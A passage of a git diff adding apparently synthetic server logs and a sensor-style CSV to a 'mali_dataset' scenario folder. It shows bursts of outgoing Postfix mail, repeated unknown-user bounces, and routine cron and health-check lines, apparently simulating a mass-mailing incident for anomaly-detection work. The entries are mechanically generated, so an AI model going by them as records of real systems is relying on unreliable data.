dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[14505]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[18266]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[18292]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[18299]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[19189]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[19690]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[22966]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:10 mail-server postfix/smtp[27199]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:10 mail-server postfix/smtp[27661]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:15 mail-server postfix/smtp[10608]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[11538]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[11872]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[12985]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[13102]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[13110]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[15356]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[16992]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[17465]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:15 mail-server postfix/smtp[25526]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:15 mail-server postfix/smtp[28383]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:15 mail-server postfix/smtp[28663]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:20 mail-server postfix/smtp[10445]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[10619]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[10663]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[12336]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[12338]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[14019]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[14755]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[18690]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[18990]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[19224]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:20 mail-server postfix/smtp[26157]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:20 mail-server postfix/smtp[27796]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:25 mail-server postfix/smtp[10687]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[11656]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[11668]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[11720]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[15473]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[16249]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[16308]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[17515]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[17823]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[19377]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:25 mail-server postfix/smtp[25438]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:25 mail-server postfix/smtp[25815]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:25 mail-server postfix/smtp[27283]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:30 mail-server postfix/smtp[10653]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[14000]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[15582]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[16514]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[17198]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[17477]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[17798]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[18395]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[18400]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[18549]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[19204]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[19288]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[19349]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:30 mail-server postfix/smtp[20696]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:30 mail-server postfix/smtp[25405]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:30 mail-server postfix/smtp[29424]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:35 mail-server postfix/smtp[13006]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[13463]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[13785]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[13929]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[17619]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[18543]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[19028]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:35 mail-server postfix/smtp[24176]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:35 mail-server postfix/smtp[24952]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:35 mail-server postfix/smtp[26543]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:40 mail-server web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/mali_dataset/scenario_5/mali_5_24.csv b/mali_dataset/scenario_5/mali_5_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..2506874cdc9a4373cbc768ec9879b6ee7d323641 --- /dev/null +++ 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+2025-07-02T12:07:25Z,6.753060976260362,41.873091472004646,3.2953767414374595,0.7550943984886986 diff --git a/mali_dataset/scenario_5/mali_5_24.log b/mali_dataset/scenario_5/mali_5_24.log new file mode 100644 index 0000000000000000000000000000000000000000..c36cdf47a52c699c89a96b92392665c3e8b971a0 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_24.log @@ -0,0 +1,931 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:00 web-app[1122]: GET /api/v1/user/health status=200 OK +Jul 02 12:00:35 web-app[1122]: GET /api/v1/user/health status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[1122]: GET /api/v1/user/health status=200 OK +Jul 02 12:01:15 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[1122]: GET /api/v1/user/health status=200 OK +Jul 02 12:02:20 web-app[1122]: GET /api/v1/user/health status=200 OK +Jul 02 12:02:30 mailserver postfix/qmgr[1234]: <8425373086@mail.example.com>: from=, size=6450, nrcpt=1 (queue active) +Jul 02 12:02:30 mailserver postfix/smtp[5678]: <8425373086@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.67, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:30 mailserver postfix/qmgr[1234]: <3245180630@mail.example.com>: from=, size=4412, nrcpt=1 (queue active) +Jul 02 12:02:30 mailserver postfix/smtp[5678]: <3245180630@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.76, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:30 mailserver postfix/qmgr[1234]: <5463322270@mail.example.com>: from=, size=7715, nrcpt=1 (queue active) +Jul 02 12:02:30 mailserver postfix/smtp[5678]: <5463322270@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.36, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:30 mailserver postfix/qmgr[1234]: <7112083929@mail.example.com>: from=, size=6986, nrcpt=1 (queue active) +Jul 02 12:02:30 mailserver postfix/smtp[5678]: <7112083929@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.42, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:30 mailserver postfix/qmgr[1234]: <9763326363@mail.example.com>: from=, size=2902, nrcpt=1 (queue active) +Jul 02 12:02:30 mailserver postfix/smtp[5678]: <9763326363@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.30, delays=0.01/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:30 mailserver postfix/qmgr[1234]: <7109334398@mail.example.com>: from=, size=2635, nrcpt=1 (queue active) +Jul 02 12:02:30 mailserver postfix/smtp[5678]: <7109334398@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.31, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <6671431644@mail.example.com>: from=, size=4804, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <6671431644@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.87, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <8073319676@mail.example.com>: from=, size=6269, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <8073319676@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.17, delays=0.22/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <7509158402@mail.example.com>: from=, size=8022, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <7509158402@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.65, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <8090874038@mail.example.com>: from=, size=6078, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <8090874038@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.23, delays=0.45/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <7635399465@mail.example.com>: from=, size=4954, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <7635399465@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.43, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <2080021313@mail.example.com>: from=, size=2408, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <2080021313@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.89, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/qmgr[1234]: <4390881773@mail.example.com>: from=, size=1361, nrcpt=1 (queue active) +Jul 02 12:02:35 mailserver postfix/smtp[5678]: <4390881773@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.04, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:35 mailserver postfix/smtp[5679]: <4390881773@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.31, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <9158177579@mail.example.com>: from=, size=1911, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <9158177579@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.97, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <9471914120@mail.example.com>: from=, size=3334, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <9471914120@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.97, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <9957491599@mail.example.com>: from=, size=6626, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <9957491599@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.11, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <8309127324@mail.example.com>: from=, size=5511, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <8309127324@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.61, delays=0.23/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <4840129488@mail.example.com>: from=, size=6676, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <4840129488@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.06, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <3109489361@mail.example.com>: from=, size=4696, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <3109489361@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.87, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <8305381891@mail.example.com>: from=, size=3293, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <8305381891@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.60, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <2636321147@mail.example.com>: from=, size=2785, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <2636321147@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.27, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <9179032093@mail.example.com>: from=, size=3782, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <9179032093@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.59, delays=0.50/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <8366000555@mail.example.com>: from=, size=1745, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <8366000555@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.39, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <6002138263@mail.example.com>: from=, size=4813, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <6002138263@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.13, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:40 mailserver postfix/qmgr[1234]: <3373454828@mail.example.com>: from=, size=6781, nrcpt=1 (queue active) +Jul 02 12:02:40 mailserver postfix/smtp[5678]: <3373454828@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.84, delays=0.47/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:45 mailserver postfix/qmgr[1234]: <7378302216@mail.example.com>: from=, size=7573, nrcpt=1 (queue active) +Jul 02 12:02:45 mailserver postfix/smtp[5678]: <7378302216@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.79, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:45 mailserver postfix/qmgr[1234]: <9993655384@mail.example.com>: from=, size=6166, nrcpt=1 (queue active) +Jul 02 12:02:45 mailserver postfix/smtp[5678]: <9993655384@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.11, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:45 mailserver postfix/qmgr[1234]: <9439813587@mail.example.com>: from=, size=7016, nrcpt=1 (queue active) +Jul 02 12:02:45 mailserver postfix/smtp[5678]: <9439813587@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.34, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:45 mailserver postfix/qmgr[1234]: <3675258449@mail.example.com>: from=, size=1801, nrcpt=1 (queue active) +Jul 02 12:02:45 mailserver postfix/smtp[5678]: <3675258449@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.84, delays=0.45/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:45 mailserver postfix/qmgr[1234]: <3523483200@mail.example.com>: from=, size=6444, nrcpt=1 (queue active) +Jul 02 12:02:45 mailserver postfix/smtp[5678]: <3523483200@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.82, delays=0.34/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <4407692745@mail.example.com>: from=, size=5015, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <4407692745@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.35, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <2220694075@mail.example.com>: from=, size=3896, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <2220694075@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.65, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <8031381763@mail.example.com>: from=, size=7354, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <8031381763@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.33, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <6020615877@mail.example.com>: from=, size=3588, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <6020615877@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.34, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <5843092249@mail.example.com>: from=, size=2590, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <5843092249@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.39, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <1101019052@mail.example.com>: from=, size=1754, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <1101019052@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.10, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:02:50 mailserver postfix/qmgr[1234]: <4427817942@mail.example.com>: from=, size=4428, nrcpt=1 (queue active) +Jul 02 12:02:50 mailserver postfix/smtp[5678]: <4427817942@mail.example.com>: 